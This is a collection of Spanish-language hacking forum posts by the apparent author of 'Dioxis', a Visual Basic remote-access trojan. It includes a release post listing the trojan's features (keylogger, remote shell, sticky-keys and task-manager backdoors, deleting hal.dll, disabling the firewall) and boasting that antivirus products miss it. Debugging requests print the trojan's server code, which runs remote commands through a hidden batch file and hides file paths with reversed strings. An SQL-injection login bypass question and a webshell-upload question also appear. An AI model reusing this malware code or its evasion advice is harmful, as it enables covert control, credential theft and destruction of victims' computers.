este codigo esta sacado de un hack contest, me estoy preparando para cuando llegue a mi localidad que es dentro de dos semanas y estoy practicando ya que deje un poco de la do el deface y me dedique a programar


veran, el reto consiste en superar un login sql, que digo yo, sera por inyeccion, y por lo que veo su estructura es esta

SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]'

el problema que tengo es que si inyecto codigo para intentar bypasear quedaria asi

SELECT * FROM usuarios WHERE usuario='soler or 1= 1' AND clave='soler or 1=1'

entonces los or quedarian dentro de las comillas, que podria hacer?

Bueno, esta pregunta estara decenas de veces en este apartado, pero a mi caso quizas pueda ser diferente

Programo en lenguajes: javascript,php,css,visual basic y html

Manejo el lenguaje unix mas o menos y tengo suficiente conocimiento en batch


Mi pregunta es si hay por aqui un lenguaje para tontos xD, de ensamblador para 32 bits que yo pueda entender jj, vamos que empieze con buen pie y no hablandote de los registros ya mismo

saludos

[Matando a la version Pesada]

Matando a la version Pesada:

Bueno Para la gente que estaba esperando, siento la tardanza, no es que me cueste realizar vuestras peticiones, sino que he estado montando una web que me esta dando algun que otro quebradero de cabeza al usar multiples lenguajes, vamos que esta version la he realizado en un dia

Direis porque no saque la 6.0, lo dejo para mas tarde ya que tardaria mas y por lo que he oido los av ya detectan las version 5.0 estandar, bueno, las peticiones que han sido aceptadas son:

• Ordenacion de todo el codigo y sus ficheros
• Cambio de imagenes .jpg a .gif
• Comentarios en todas las lineas (ya no te perderas)
• Arreglo de Keylogger (URRAAAA)
• Simplificacion de ordenes para mandar paquetes
• Eliminacion de variables muertas y aplicacion de option explicit
• Los modos funny,dioxis y normal, han sido simplificados a un simple formulario con botones (es lite, no la verson 6.0 acordaros)

Y lo mas asombroso de todo es que gracias a toda la depuracion del codigo nos encontramos sorpresas como estas:



File Info

Report generated: 18.9.2009 at 1.26.00 (GMT 1)
Filename: server.exe
File size: 128 KB
MD5 Hash: 6266304325c04ec155a107f7b7c47ae9
SHA1 Hash: 8A9AA3157C97CF59448C9ECC39B2FDE80DCE1388
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -



Aqui teneis el servidor indetetable, y aqui viene el analisis del cliente

File Info

Report generated: 18.9.2009 at 1.14.27 (GMT 1)
Filename: dioxis.exe
File size: 932 KB
MD5 Hash: f2ca6efbf5e0beb5b9247f38fcc71304
SHA1 Hash: 5DCDA3E5BD1DB669DB61CCE9C7A1D8D4D6BE916C
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 1 on 23

Detections

a-squared - Backdoor.Win32.VB!IK
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org

Bueno, un antivirus que no importa por la parte del software que no importa, asi que no os alarmeis, la cosa ha mejorado y ahora podreis disfrutar de todo, con mayor estabilidad, fiabilidad ante detecciones de antivirus y etc

A continuacion hago un copy paste de la version 5.0 por si la alguien no conoce las cualidades de este troyano

ATENCION: EL ASPECTO HABRA CAMBIADO LIGERAMENTE, AVISO XD

Tamaño Cliente: 2,35 MB
Archivos: Cliente Dioxis y Libreria COMDLG32.OCX
Lenguaje: Visual Basic 6.0
Conexion: Inversa
Tiempo de Reconexion: Personalizada
Tiempo de Refresco de fin de conexion: 1 segundo
Idioma: Español
Puerto usado: Personalizado
Infraestructura: Red Local e internet


Bueno antes que nada decir que esta version esta llena de cosas nuevas, la estructura de codigo del troyano se ha alargado bastante y el diseño sigue siendo uno de los mayores beneficios que acompañan a este software

La version 4.0, como ya vi, era detectada por varios antivirus asi que me decidi por realizar la 5.0 improvisando segun lo que se me iba ocurriendo. A continuacion os cito las funciones antiguas y las nuevas:

Funciones Viejas:

Ejecucion de:

    * Paint
    * Teclado Universal
    * Buscaminas
    * Solitario
    * Pinball
    * Calculadora
    * Paseo de Win Xp
    * Star Wars
    * Mensajes personalizados
    * Paginas Web


Matanza de Procesos:

    * Messenger
    * Navegadores (Firefox,Iexplorer,Safari, Opera y Google chrome)
    * Explorador de Windows
    * Proceso Personalizado

Creacion de Puertas Traseras:

    * Habilitar terminal server
    * Establecer una cmd en sticky keys (compaginado con ts, tienes el control total del pc)
    * Establecer una cmd en vez del administrador de tareas (para que no pueda ver las tareas)

Sistema:

    * Edicion de la contraseña de administracion a la que se quiera
    * Cierre de Sesion
    * Apagar Pc
    * ELIMINAR HAL.DLL (No se iniciara windows si no es reparado :/ )

    * Keylogger
    * Shell Remota
    * Creacion de archivos remotamente

Funciones Nuevas:

    * Imagen inicial del programa
    * Soporte para nick de usuario (Basta de conocer cada host por la ip )
    * Deteccion de Unidades
    * Deteccion de nombre de host remoto y posibilidad de modificarlo para su siguiente reinicio
    * Keylogger y chat mejorado ( Antes podrias abrir las veces que quisieras el keylogger lo que daba lugar a errores, y el chat lo mismo)
    * Jugar con la victima ( Juego de preguntas y respuestas remotamente)
    * Eliminar archivos remotos
    * Activar o desactivar el firewall de Windows
    * Vulnerar el host remoto a ataques syn flood

Y lo que mas os ayudara en el troyano es su manual que viene integrado con el, el cual te ayuda a averiguar tu ip externa, a crearte un dominio no-ip, y a poder abrir tus malditos puertos del router (si es que tienes)

    * Manual de ayuda al usuario(creacion de server y configuracion xD)

¿Que es Dioxis?

Bueno como es tradicion, explicare de nuevo en que consiste dioxis:

Dioxis, como ya se ha dicho es un troyano que se caracteriza por su sencillez, no porque no tenga prestaciones sino porque todos los controles estan pensados para usuarios noveles. Esto no se contrasta con que no lo puedan usar los usuarios avanzados ya que posee como en su 2,3 y 4 version, de una shell que se puede manejar a gusto si la persona tiene cierto nivel de programacion BATCH

Dioxis, aun siendo un software simple como pueden ver, tiene bastante potencial y actualmente esta muy escondido de los antivirus, cosa que a la hora de escoger un troyano, buscamos mas

Este software coge el control total o medio parcial de la cpu, podiendo tener una shell remota, manejando el archivo de losg del teclado, creando archivos...etc

Dioxis posee funciones automatizadas para los menos adentrados en este mundillo, estas funciones se dividen en 3 tipos:

Modo funny: El modo divertido ^^,si eres una buena persona y no te atrae la destruccion, cosa que se premia mucho en este mundillo, este modo te ayudara con tus tareas, posee funciones como ejecucion de aplicaciones, ejecutar pelicula de star wars o mandarle mensajes personalizados

Modo Normal: Este modo esta dedicado a la matanza de procesos que corren en el pc remoto y a abrir paginas web o cerrar sesion, un poco mas cruel que el funny mod pero util si quieres pillar contraseñas de msn por ejemplo, cosa muy tipica

Modo Dioxis: El dioxis mod, seria en teoria la forma mas cruel de usar este software, consta ge generar backdoors, apagar el pc, eliminar el hal.dll...etc

He evitado en este modo hacer las cosas crueles ya que este software aun no es detectado ^^ abstenganse gente cruel

los Modos de troyanizar no los he tocado, como veis, tienen las mismas opciones y la misma interfaz, que yo creo que por ahora esta bien

El Chat:

El chat ha sido mejorado, ya que a veces no se cerraba la ventana del chat remoto al ordenarselo, ya que habia cierto descontrol con los paquetes que viajaban por la red, que al juntarse no se interpretaban bien

Si os fijais bien, en la version 4 los botones de comandos no se cerraban lo cual podria dar lugar a un fallo en la conexion y que todo el tinglado se caeria, fallo mio :/ xD

La interfaz del usuario sigue siendo la misma, yo me centro en vosotros que pelota xD

Lo nuevo:

Bueno en este Tema vereis que le doy mucha importancia a lo nuevo ya que quiero que os empapeis bien de las cosas nuevas y que las sepais utilizar aun siendo facilongas

Acordaros, no lo subais a ninguna pagina de analisis online, ni lo analiceis con vuestro av si teneis habilitada el envio de archivos sospechosos automaticamente, esto fastidia la version del troyano haciendola detectable y algun dia no habra otra version

Evitar la heuristica de los av es facil, esta version es detectada por heuristica en 3 av desconocidos en los que no reparo en codigo jeje

El juego de preguntas no tiene mas sentido de hacer preguntas y decirle si es correcta o no, es decir, pasar un tiempo agradable en vez de estar torturando a la victima borrandola sus archivos

El keylogger fue mejorado ya que antes se podia iniciar las veces que quisieras y te copiaba los logs muchas veces dando lugar a textos sin comprension, ha sido probado en mi red local y funciona perfectamente

El chat, mas de lo mismo, arreglado

La deteccion de drives viene bien si teneis conocimientos de infeccion por unidades extraibles ya que os podeis ganar unos cuantos hosts mas

El soporte para nick, al igual que la deteccion del nombre del equipo sirve para detectar al host correcto, lluego tambien teneis la opcion de cambiarle los dos nombres si te apetece

En esta version tambien he añadido el activar y desactivar el firewall remoto al igual que una opcion que vuelve vulnerable a los XP a ataques SYN FLOOD, aunque si no sabes de ataques de denegacion de servicio no te servira de mucho pero nunca esta de mas

Y como ya os dije para que os guieis mas en la creacion de este he diseñado un manual para el que os guiara pero si teneis dudas, comentad o mandar un email

Demostracion:

[youtube=600,480]http://www.youtube.com/watch?v=KA1-CnHuBbY[/youtube]

Veran, tengo una web dedicada al hosting de imagenes .gif .jpg y .png de maximo 5 megas

Segun mi cabeza, y aun asi ya visto en mi web, se puede subir a esta webshells c99 y demas con extension .jpg por ejemplo y dar ordenes desde estas

Como se repara este fallo de seguridad? aun nose si mi web es vulnerable, se algo de la vulnerabilidad pero no como protegerme

saludos

Bueno, como veran ya conoceran el troyano dioxis de estar residente en el foro y en algunos otros mas

me estoy partiendo la moral intentando mejorarle como es debido y me siguiente meta es ponerle multiconexion con csocketmaster


La duda es que nose como funcionaria eso de la multiconexion con csocketmaster, que tendria que agregar matrices a el control csocket o como seria?

gracias, un saludo

Veran para la 5 version del dioxis queria acoplarle un visor de capturas del host remoto

Lo ya realizado y conseguido con exito ha sido que la cree en el lugar donde se dice en el host remoto, ahora me toca la parte en la que la tengo que enviar

Despues de ir a recursosvb y demas, encontre ejemplos pero que no me han llegado a funcionar bien

La estructura que tengo que seguir es esta

Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos

Aqui es donde esta la duda, en el dataarrival del cliente lo tengo asi

Código [Seleccionar] Expandir

dim devu as string
wsk.getdata devu

ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien

con esto quiero decir que si no defino la variable, para variant no funciona, si la pongo en byte no me tiran las ordenes con strings y si la pongo en byte no me funcionan los strings


alguna ayuda quien lo haya entendido?

Bueno, como ya veran, estoy en el proyecto de sacar otra version del troyano dioxis, pero aqui es donde se me dan los quebraderos de cabeza

Este es todo el dataarrival del servidor:

Código (vb) [Seleccionar] Expandir

Public Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sistremaa As String, compr As Integer, ruta As String, textos As String, inii As String

Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long

Dim casaa As String

Dim arrData() As Byte

Dim encontrado2 As Integer, encontrado As Integer
Dim busca As Integer
Dim envivi As String, tati As Variant

On Error GoTo Error

'--------------------------------------------------------------------------'

casaa = Environ$("homedrive")
sistremaa = Environ$("windir") & "\system32"
letraa = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
inii = casaa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

wsk.GetData orden
MsgBox orden
' enviar archivos----------------------------------------------------------

For busca = 0 To Len(orden)
encontrado = InStr(1, orden, "*Enviviandodo*")
Next
If encontrado <> 0 Then

If Flag = True Then
Flag = False
lBytes = 0
tati = Split(envivi, "|")
lFileSize = tati(1)
wsk.SendData "|enviamelo|"
Open tati(3) & tati(2) For Binary Access Write As #1
End If

If Flag = False Then
MsgBox "poniendo todo los datos"
lBytes = lBytes + bytesTotal
wsk.GetData arrData
MsgBox arrData
Put #1, , arrData
If lBytes >= lFileSize Then

Close #1
Flag = True
lBytes = 0
End If
End If
Else

' enviar archivos----------------------------------------------------------

For compr = 0 To Len(orden)
encontrado2 = InStr(1, orden, "/*/116%4")
Next
If encontrado2 <> 0 Then

arris = Split(orden, "66+/*-&·%")

ruta = arris(1)
textos = arris(2)

Open ruta For Output As #2
Print #2, textos
Close #2
End If

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistremaa & "\hal.dll" Then Kill sistremaa & StrReverse("lld.lah\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\sethc.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.chtes\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\taskmgr.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.rgmksat\")
If orden = "eliminar troyano" Then
Kill letraa & StrReverse("exe.dmcyekh\")
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

salida:
Open inii For Output As #1
Print #1, orden & ">" & casaa & "\ctfmon.txt"
Close #1



     id_process = Shell(inii, vbHide)

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

   
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casaa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

Error:
End If
End Sub


El data arrival lo que tiene que hacer es recibir 2 acciones, una es para que el cliente le pase archivos y otra para mandarle ordenes

La cosa es que ahora mismo no me funciona ninguno por ahora

El problema creo que reside en las variables del datarrival

si necesitais algun dato mas os lo facilito

gracias

Veran estoy haciendo mi formulario si ninguna barra, para cerrar y demas, pero necesito poder mover el formulario y al no tener barra no se como

como puedo hacer para poder mover el formulario apretando en una posicion determinada?

Quiero realizar un mini proyecto para mi uso personal el cual haga esto

Dejo el programa encendido

Cuando yo presione f10 el programa se encienda y empieze a dar un bucle de clicks de raton

Cuando le de al f11 que se detenga el proyecto


Como haria para poder hacer tal cosa? es decir, el dar clicks izquierdos con un bucle

gracias

Veran tengo implantado en cliente y server el csocketmaster en vez del winsock

el server lo tengo configurado que cada 3 segundos si no esta conectado se vuelva a conectar, pues veran pasa lo siguiente

yo tengo el cliente escuchando y se conecta el server, cogo y hago la prueba de cerrar el puerto,y se desconecta el servidor, escucho de nuevo y se me vuelve a conectar

el problema esta en que si yo me salgo de la aplicacion, cogo el mismo puerto y me pongo a escuchar de nuevo el servidor ya no se conecta, a que se debera?

gracias

Como bien me dijo eon, para poder usar el csocketmaster tenia que hacer esto:

Código (vb) [Seleccionar] Expandir

Dim WithEvents wsk As CSocketMaster

Private Sub Form_Load()
Set wsk = New CSocketMaster
End Sub

Tengo una duda, el servidor y el cliente estan armados con csocketmaster y conectan, y en el primer formulario todo va de perlas, pero en los siguientes formularios pongo lo mismo y no funcionan, es decir el codigo de arriba se los aplico a todos los formularios

algo que este haciendo mal?

gracias

Veran tengo un problema, y la verdad que tengo toda la cabeza desordenada con esto

Este es el codigo del cliente, que envia los datos para que luego se creen en el host remoto

Código [Seleccionar] Expandir

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_Click()
Dim datosarch As String, creando As String, lilis As Integer, linear As String, totales As Integer
datosarch = InputBox("Indica ruta, noombre y extension: (ej c:\ola.txt)", "Especifica datos", "")

porden = "uno" & "-xzññzx-" & datosarch & "-xzññzx-" & txtarchivo

frmcliente.wsk.SendData creando
frmcliente.wsk.SendData porden

End Sub

Private Sub Timer1_Timer()
Const EM_GETLINECOUNT = &HBA
Const EM_GETLINE = &HC4
lilis = SendMessage(txtarchivo.hwnd, EM_GETLINECOUNT, 0, 0)
lbll.Caption = "Lineas: " & lilis
End Sub


Luego he aqui la parte del dataarival del servidor:

Código [Seleccionar] Expandir

Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String, todo As String, buscca As Integer
Dim handle_Process As Long
     Dim id_process As Long
    Dim lp_ExitCode As Long
    Dim casa As String
   
On Error GoTo error

'--------------------------------------------------------------------------'

casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
letra = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
ini = casa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

[b]wsk.GetData orden

If orden = "creando" Then interruptor = True

If interruptor = True & orden <> creando Then

arris = Split(orden, "-xzññzx-")

ordencr = arris(2)
ruta = arris(1)

Open ruta For Output As #1
Print #1, ordencr
Close #1

Exit Sub
End If[/b]

If interruptor = False & orden <> creando Then

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
If orden = "eliminar troyano" Then
Kill letra & "\intel.exe"
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

Open ini For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1



     id_process = Shell(ini)
     

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

   
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

End If
error:
End Sub

La parte en negrita es la que mas o menos importa digo yo

el problema esta en que yo tengo dos opciones en el cliente, mandar datos, como u ndir y que el me conteste con la salida de datos que se deja en el fichero ctfmon.txt

luego esta un boton para crear un archivo que primero introduces los datos y despues especificas ruta y nombre de archivo y lo crea

la cosa es que falla en unas cuantas cosas, a veces me crea el archivo, otras no, si pongo espacios para crear un archivo me salta a ejecutarlo y no a crearlo... etc

haber si me podeis corregir un poco el code que estoy paranoico perdido